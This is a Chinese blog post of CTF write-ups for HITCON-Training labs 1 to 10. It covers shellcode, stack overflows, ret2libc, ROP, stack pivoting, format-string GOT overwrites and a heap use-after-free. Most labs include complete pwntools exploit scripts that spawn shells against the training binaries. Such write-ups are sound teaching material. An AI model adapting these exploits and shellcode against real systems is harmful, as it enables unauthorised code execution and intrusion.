美文网首页
Hitcon-Training之lab1--lab10

Hitcon-Training之lab1--lab10

作者: cceb9d5a8577 | 来源:发表于2018-04-25 14:04 被阅读945次

    lab1

    方法一:使用逆向解密的方法

    image

    方法二:利用gdb动态调试,可以在已经生成了password并且还未输入magic的情况下个断点

    image

    可知,ebp-0x80的地方就是password存放地址,于是可以,读出

    image

    方法三:利用gdb动态调试,设置eip,跳过判断对比语句,直接执行for循环得出flag

    (也可以使用IDA的nop功能,也就是使用keypatch)

    先运行sysmagic,不要输入数字,保持输入的状态不变:

    image

    新开一个窗口,ps -aux |grep sysmagic,得到pid = 3505;

    image

    然后sudo gdb attach 3505;

    b*0x08048720对0x08048720下断点,也就是在判断语句cmp edx,eax处

    输入一个数字,gdb断下;

    image

    输入set $eip = 0x08048724,直接跳过jnz,直接执行for循环打印flag操作

    c继续执行,看到有flag弹出。


    lab2

    checksec一波,一个只开了canary保护的程序,???

    image

    接着扔到ida,发现是让你输入shellcode然后程序就去执行你的shellcode,

    image

    但正如这道题的名字orw,获取flag的方法是用open,read,write三个syscall来完成的,但不能用拿shell的方式,因为orw_seccomp()中的代码是这样的:

    image

    因为通过查资料发现这个prctl函数有点迷,限制了我们syscall的调用,具体的为什么限制,怎么样限制我也看得不是很懂,反正就是不能用system(/bin/sh)或者execve(/bin/sh)了

    那就需要我们自己写shellcode执行cat flag,

    内容为:

    fp = open("flag",0)
    read(fp,buf,0x30)
    write(1,buf,0x30)
    

    那我们需要查到,O'R'W'三个函数对应的系统调用号和参数应该调入的寄存器

    image

    这段代码对应的汇编是这样的:

    > push 1;
    > dec byte ptr [esp];    先将1入栈后在用dec指令减1,得到0作为指针数组的第二个元素
    > push 0x67616c66; 再将“flag”入栈作为指针数组的第一个元素
    > mov ebx,esp;   ebx指向栈顶也就是指向 open函数的第一个参数(指针数组)
    > xor ecx,ecx;     xor清零ecx对应第二个参数
    > xor edx,edx;   xor清零edx对应第三个参数
    > xor eax,eax;   xor清零eax
    > mov al,0x5;   向eax传入系统调用号0x05
    > int 0x80;    调用fp=open("flag",0)
     
    > mov ebx,eax;    ebx被赋值为0x05,read(fp,buf,0x30)
    > xor eax,eax;    xor清空eax
    > mov al,0x3;   传入read函数对应的系统调用号
    > mov ecx,esp;   将栈顶的地址传给ecx作为read的第二个参数,将flag文件中的内容入栈
    > mov dl,0x30;  read的第三个参数,读0x30个字符
    > int 0x80;     调用read(fp,buf,0x30)
    
    > mov al,0x4;   write函数的系统调用号,write(1,buf,0x30) 
    > mov bl,1;   ebx对应第一个参数
    > mov dl,0x30;  edx对应第三个参数 
    > int 0x80;   调用write(1,buf,0x30)
    

    其实也可以用pwntools的asm函数来写:

    shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')


    lab3

    这道题就很简单了,是最基础的栈溢出,操作是把shellcode写到name的空间里面去,然后溢出v4的缓冲区,跳转到name的地址去执行shellcode得到shell,但是也有一个小坑需要注意,v4在栈空间里面是以esp来寻址的,所以,v4的缓存区的大小是0x1c而不是0x14

    image image

    其他也就没什么好说的了,直接上exp吧

    image

    lab4

    拿到题目按照老套,一波checksec+IDA:

    image image image

    一套看下来,就会发现,是一道简单的return to libc ,需要注意的地方是,第一个输入,是输入一个10进制的地址,然后返回这个地址的内容给你,这就很容易想到,利用这个功能去把puts函数的真实地址打印出来,也就是,去把got表中的内容搞出来,有了puts函数的真实地址,然后在把libc中各个函数的地址搞出来,算一下偏移量,就很容易得到system函数的真实地址,然后再用find命令或者用pwntools的函数,去找出“/bin/sh”的地址,这样我们就可以拿到shell了

    exp如图:

    image

    lab5

    按照老套路,一波checksec+IDA:

    image image

    发现也还是一道比较简单的题目,但也学到了一些新的姿势

    这道题 就一个输入,然后是静态链接,加载了很多东西进来,又开了nx保护,没有发现system函数,没有发现binsh参数

    所以应该是ret2systemcall的题目,用rop,进行int0x80中断,执行系统调用

    所以我们需要找到,有pop eax,ebx,ecx,edx,ret这样的gadget,通过一波搜索找到了这些:

    > 0x080493e1 : int 0x80
    > 0x080bae06 : pop eax ; ret
    > 0x0806e82a : pop edx ; ret
    > 0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
    

    但是我们要调用execve(/bin/sh)还需要参数,题目里面找不到参数,那么我们只能自己去写入了,写入就要用到一些新的姿势了,找到一种gadget,要有能将某个寄存器的内容写到内存的某个地方的功能,

    通过一波搜索,我们找到了这些:

    > 0x0807b301 : mov dword ptr [eax], edx ; ret
    > .bss  NOBITS  080eaf80 0a1f80 00136c 00  WA  0  0 32
    

    这样一来,我们就可以先把bss段的地址给eax,然后再把参数给edx,然后执行这个gadget就能实现把参数写进bss段里面了,接着再开始把各个参数传给各个寄存器,实现系统调用

    image

    lab6

    这道题目就不是很容易了qvq,涉及到了严重的知识盲区,

    image image

    从题目来看,mian函数只能执行一次,那么ret2lib的操作就执行不了了,然后就一个输入,read读取0x40个字节到buf0x28的空间中,会溢出0x12个字节,那么可以用来构造的paylode长度就很有限了,这个时候就要用到一种叫做构造假栈帧的操作了

    原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。

    我们首先用ROPgadget去找找可以用的gadget:

    > 0x08048418 : leave ; ret #用于返回栈,改变ebp和esp的值
    > 0x0804836d : pop ebx ; ret    #p1ret 用于放参数 (参考系统调用)
    > 0x08048569 : pop esi ; pop edi ; pop ebp ; ret  #p3ret 用于最后同时控制ebp和esp,进行ret操作直接执行system(/bin/sh)
    

    看图可以很清楚的了解整个构造假栈帧的过程,重点在于理解esp和ebp是怎么样变化的

    lab6.png

    完整的exp是这样的:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-S
    from pwn import *
    context.log_level = 'debug'
    
    p = process('./migration')
    elf = ELF("./migration")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    
    system_libc = libc.symbols["system"]
    print "system_libc:"+hex(system_libc)
    read_plt = elf.plt["read"]
    print "read_plt:"+hex(read_plt)
    puts_got = elf.got["puts"]
    print "puts_got:"+hex(puts_got)
    puts_plt = elf.plt["puts"]
    print "puts_plt:"+hex(puts_plt)
    puts_libc = libc.symbols["puts"]
    print "puts_libc:"+hex(puts_libc)
    binsh_libc= libc.search("/bin/sh").next()
    print "binsh_libc:"+hex(binsh_libc)
    
    leave_ret = 0x08048418
    p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
    p1ret = 0x0804836d #pop_ebp_ret
    buf1 = elf.bss() + 0x500
    buf2 = elf.bss() + 0x400
    
    payload = 'a'*40
    payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
    p.recvuntil(" :\n")
    p.send(payload)
    sleep(0.1)
    
    payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
    p.send(payload)
    sleep(0.1)
    
    puts_addr =u32(p.recv(4))
    print "puts_addr:"+hex(puts_addr)
    offset = puts_addr - puts_libc
    system_addr = system_libc + offset
    binsh = binsh_libc +offset
    
    '''
    payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)
    p.send(payload)
    sleep(0.1)
    #p.send("/bin/sh\0")
    p.interactive()
    '''
    
    payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
    p.send(payload)
    sleep(0.1)
    p.interactive()
    

    lab7

    这是一道格式化字符串漏洞的题目,又是我的一个知识盲区,为此我先去学习了一波,再倒回来做题,其实这道题还是比较简单的,就是给你一个随机数,猜对这个随机数了就给你cat flag,然后我们就利用printf函数的格式化字符串漏洞去泄漏出随机数的数值,这道题就迎刃而解了。
    按照套路IDA+checksec一波:



    可以看到这道题只有格式化字符串的问题,栈溢出完全没办法利用,另外还开了canary和NX
    我们要泄漏password的话,首先得找到格式化字符串的地址在哪里,于是我们需要输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p。。。。”这样的一大串东西,结果如下:


    image.png

    我们可以看到,%p泄漏出了printf栈里面的东西,并且可以发现AAAA也就是“0x41414141”在第十个位置,也就是说格式化字符串在栈的第十个位置,于是我们就可以构造:【泄漏地址】+%10$s,来把password给泄漏出来
    完整exp如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    p = process('./crack')
    
    payload = p32(0x804A048)+'#'+'%10$s'+'#'  #为了方便下面接收的时候进行识别,需要用一个字符来加以标志
    print payload  #   H\xa0\x0#%10$s#
    
    p.recvuntil('What your name ? ')
    p.sendline(payload)
    
    p.recvuntil("#")
    r = p.recvuntil("#")
    print r    #   x\x9e`#
    print r[:4]  #   x\x9e`
    password = u32(r[:4])
    print password   #  1611505272
    p.recvuntil("Your password :")
    p.sendline(str(password))
    
    p.interactive()
    

    另外这道题有一点比较谜的地方是并不是每一次执行脚本都能成功,有一定的机率会失败,也就是猜错随机数,我在想是不是因为有时候生成的随机数过大占到了8个字节,然后我只泄漏了4个字节就会导致失败

    其次,在我做完这道题后去看了一下大佬的wp,发现还有改随机数的操作,真的是太秀了,附上Veritas501大佬的wp:

    from pwn import *
    context.log_level = 'debug'
    cn = process('./crack')
    p_pwd = 0x0804A048
    fmt_len = 10
    cn.recv()
    pay = fmtstr_payload(fmt_len,{p_pwd:1})
    cn.sendline(pay)
    cn.recv()
    cn.sendline('1')
    cn.recv()
    cn.recv()
    

    lab8

    这也是一道简单的格式化字符串漏洞的题,但却有四种解法,学习到不少姿势
    保护机制和上一题一样的,就不能用栈溢出的操作了



    从这个反汇编的代码就可以看出有两种解法,一是覆盖218,二是覆盖-87117812
    而第三种方法是,修改puts的got表为执行【system("cat /home/craxme/flag")】的地址,这样一来在执行到【puts("You need be a phd")】的时候会直接去执行【system("cat /home/craxme/flag")】
    第四种方法是,修改puts的got表改到main中read的上面,把printf的got表改成system的plt表地址,这样就可以直接拿到shell了

    以下是完整的exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    p = process('./craxme')
    magic = 0x0804a038
    catflag = 0x080485f6#或者0x080485d8
    putsgot = 0x0804a018
    printfgot = 0x0804a010 
    systemplt = 0x08048410
    
    
    payload1 = p32(magic) + '%0214c'+'%7$n'#覆盖小数字:218
    #-----------------------------------------------------
    '''
    -87117812 --> 0xFACEB00C# 
    \x0c
    \xb0
    \xce
    \xfa
    '''
    payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3)#4x4=16
    payload2 += '%252c%7$hhn'  #252+16 =268-->0x10c
    payload2 += '%164c%8$hhn'  #268+164 = 432 -->0x1b0
    payload2 += '%30c%9$hhn'   #432+30  =462 -->0x1ce
    payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
    #覆盖大数字:-87117812
    #payload2 = fmtstr_payload(7, {magic: 0xfaceb00c}) 
    #也可以用这个函数来完成上面的payload的构造
    #-----------------------------------------------------
    
    payload3 = fmtstr_payload(7, {putsgot: catflag})
    #-----------------------------------------------------
    
    payload4 = fmtstr_payload(7, {putsgot:0x0804858B,printfgot:systemplt})
    
    p.recvuntil('Give me magic :')
    p.sendline(payload4)
    p.interactive()
    
    
    '''
    测试格式化字符串的位置:
    Please crax me !
    Give me magic :AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
    AAAA.0xffa6df7c.0x100.(nil).0xf7fef000.0x80482d2.0xf63d4e2e.[0x41414141].0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
    You need be a phd
    '''
    

    lab9

    这道题就很有难度了,找了很久只发现Veritas501大佬才写了这道题的wp,认真膜拜了一波,看了好久才理解这道题是怎么样做出来的



    从IDA和checksec来看,就是开了NX保护,然后有个格式化字符串的漏洞,关键点在于,这次的buf不在栈上,而是在bss段里,这就导致我们构造的格式化字符串都在bss段了,这就很尴尬了,不能向之前一样用%s%p%n去读取和写入栈的数据了
    于是我们只能间接得去写和读数据,通过ebp保存的数据从而实现数据的读写
    我们可以看到在输入“asds”后的栈中的情况:

    这里有用的就是这四条,分别是ebp1、fmt7、ebp2、fmt11,而他们相对于格式化字符串的偏移分别是6、7、10、11

    0048| 0xffffceb8 --> 0xffffcec8 --> 0xffffced8 --> 0x0 
    0052| 0xffffcebc --> 0x8048584 (<play+59>:  nop)
    、、、、、、、、、、、、、
    0064| 0xffffcec8 --> 0xffffced8 --> 0x0 
    0068| 0xffffcecc --> 0x80485b1 (<main+42>:  nop)
    

    从上我们可以看到,ebp1的内容是指向ebp2的地址的指针,而ebp2的内容又是指向其他地址的指针,因此如果我们用%n对ebp1进行操作,那么实际上会修改ebp2的值,如果此时再把ebp2的内容改成一个指向fmt7的指针,然后在对ebp2进行%n操作,那么就可以改变fmt7的内容,从而实现了间接修改某个地址的内容,试想一下,我们把fmt7的内容又改成printf的got表地址,那么fmt7就指向了printf_got的地址,如果用%s操作,就可以把printf_got的内容打印出来,从而得到了printf函数的真正地址,到了这里,我们就可以通过printf函数泄漏出system的真正地址了,于是这道题的解体思路就出来了:

    1.通过ebp_1使ebp_2指向fmt_7
    2.通过ebp_2将fmt_7处的内容覆盖成printf_got
    3.通过ebp_1使ebp_2指向fmt_11
    4.通过ebp_2将fmt_11处的内容修改成printf_got+2
    5.通过fmt_7将printf_got地址泄露出来
    6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
    具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
    7.执行printf函数相当于执行system函数
    8.输入"/bin/sh"字符串,让system函数从栈中取参数getshell
    

    思路如图所示:

    完整的exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = 'debug'
    p = process('./playfmt')
    elf = ELF('./playfmt')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    printf_got = elf.got['printf']
    system_libc = libc.symbols['system']  
    printf_libc = libc.symbols['printf']  
    
    p.recv()
    log.info("**********leak printf_got************") 
    payload = '%6$x'
    p.sendline(payload)
    
    
    ebp2 = int(p.recv(),16)
    ebp1 = ebp2 - 0x10
    fmt_7 = ebp2 -0x0c
    fmt_11 = ebp2 + 0x04
    log.info("printf_got-->p[%s]"%hex(printf_got))
    log.info("ebp_1-->p[%s]"%hex(ebp1))
    log.info("ebp_2-->p[%s]"%hex(ebp2))
    log.info("fmt_7-->p[%s]"%hex(fmt_7))
    log.info("fmt_11-->p[%s]"%hex(fmt_11))
    
    payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
    #ebp2 = fmt_7
    p.sendline(payload)
    p.recv()
    
    payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
    #fmt_7 = prinf_got
    p.sendline(payload)
    p.recv()
    
    while True:
        p.send("23r3f")
        sleep(0.1)
        data = p.recv()
        if data.find("23r3f") != -1:
            break
    '''
    这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
    个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
    需要注意的是,要构造一个字符串“23r3f”来作标志,返回的大量字符串中如果
    包含了这个字符串那么说明之前构造的%n写入已经完成
    ''' 
    
            
    payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
    #ebp2 = fmt_11
    p.sendline(payload)
    p.recv()
    
    payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
    #fmt_11 = prinf_got + 2
    p.sendline(payload)
    p.recv()    
    
    while True:
        p.send("23r3f")
        sleep(0.1)
        data = p.recv()
        if data.find("23r3f") != -1:
            break
        
    log.info("******leaking the print_got_add*********")
    payload = 'aaaa%7$s'
    p.sendline(payload)
    p.recvuntil("aaaa")
    printf_addr = u32(p.recv(4))
    log.info("print_got_add is:[%s]"%hex(printf_addr))
    
    system_addr = printf_addr - printf_libc + system_libc
    log.info("system_add is:[%s]"%hex(system_addr))
    #pause()
    
    payload = '%' +str(system_addr &0xffff) +'c%7$hn'
    payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
    '''
    这里需要注意的是,我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中,
    在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff)),这是因为
    %n写入操作是算累积输入的字符个数
    '''
    p.sendline(payload)
    p.recv()
    
    while True:
        p.send("23r3f")
        sleep(0.1)
        data = p.recv()
        if data.find("23r3f") != -1:
            break
    
    p.sendline("/bin/sh")
    '''
    这个时候输入参数到栈中,本来下一步程序会调用printf函数,但是此时printf函数的got表
    已经被修改为system的地址了,此时就会执行system并且从栈中取bin/sh参数
    于是就这样getshell
    '''
    p.interactive()
    
    

    lab10 hacknote

    从这里开始就堆的题目了



    可以看到没开多少保护,是一道简单的UAF的漏洞



    在创建note的时候,malloc了两次,第一次malloc一个8字节大小的块去存一个函数指针,用来打印出chunk的内容,第二次malloc一个size大小的块去存note的内容

    也就是一次新建note两次malloc,一次大小是8一次是输入的size

    这个时候就很容易想到利用的方法了,也就是UAF----use after free
    由于malloc和free的机制问题,先被free掉的块会很快用于新的malloc(如果大小合适的话),具体的原理就不多说,网上很多教程,日后有时间专门整理一波另开文章


    从图可以看到这个程序中的delet功能和show功能是怎么样实现的


    这里还有一个直接cat flag的函数,因此我们只要想办法调用这个函数就可以搞定了


    解题的思路是:

    1. 申请chunk1,大小为32(保证是fast bin范围就行),内容随意
    2. 申请chunk2,大小为32(保证是fast bin范围就行),内容随意
    3. 申请chunk3,大小为32(保证是fast bin范围就行),内容随意
    4. free掉chunk1
    5. free掉chunk2

    此时的fast_bin的分布是这样的:
    chunk2(8大小)-->-->chunk1(8大小)
    chunk2(32大小)-->chunk1(32大小)

    1. 申请chunk4,大小为8,内容为magic的函数地址
      申请chunk4的时候首先会申请一个8大小的空间,这时chunk2(8大小)的空间给了这个块,接着再申请size 大小的块,这时chunk1(8大小)的空间给了这个块
      同时向chunk4中写入magic的函数地址,也就相对应向chunk1(8大小)写入magic的函数地址,此时原本存放puts函数指针的地方被magic函数覆盖了,也就导致了接下来打印chunk1内容的时候会直接执行magic

    2. 打印chunk1的内容,执行magic函数

    exp如下:

    #encoding:utf-8
    from pwn import *
    context(os="linux", arch="i386",log_level = "debug")
    
    ip =""
    if ip:
        p = remote(ip,20004)
    else:
        p = process("./hacknote", aslr=0)
    
    elf = ELF("./hacknote")
    #libc = ELF("./libc-2.23.so")
    #libc = elf.libc
    
    def sl(s):
        p.sendline(s)
    def sd(s):
        p.send(s)
    def rc(timeout=0):
        if timeout == 0:
            return p.recv()
        else:
            return p.recv(timeout=timeout)
    def ru(s, timeout=0):
        if timeout == 0:
            return p.recvuntil(s)
        else:
            return p.recvuntil(s, timeout=timeout)
    def getshell():
        p.interactive()
    
    catflag = 0x08048986
    
    #add 0
    ru("Your choice :")
    sl("1")
    ru("Note size :")
    sl("32")
    ru("Content :")
    sd("aaaaaaaa")
    #add 1
    ru("Your choice :")
    sl("1")
    ru("Note size :")
    sl("32")
    ru("Content :")
    sd("bbbbbbbb")
    #add 2
    ru("Your choice :")
    sl("1")
    ru("Note size :")
    sl("32")
    ru("Content :")
    sd("cccccccc")
    
    
    #free  0
    ru("Your choice :")
    sl("2")
    ru("Index :")
    sl("0")
    #free  1
    ru("Your choice :")
    sl("2")
    ru("Index :")
    sl("1")
    
    # gdb.attach(p)
    # pause()
    
    #add 3
    ru("Your choice :")
    sl("1")
    ru("Note size :")
    sl("8")
    ru("Content :")
    sd(p32(catflag))
    
    
    #show
    ru("Your choice :")
    sl("3")
    ru("Index :")
    sl("0")
    
    # ru("Your choice :")
    # sl("4")
    
    getshell()
    

    相关文章

      网友评论

          本文标题:Hitcon-Training之lab1--lab10

          本文链接:https://www.haomeiwen.com/subject/nlaelftx.html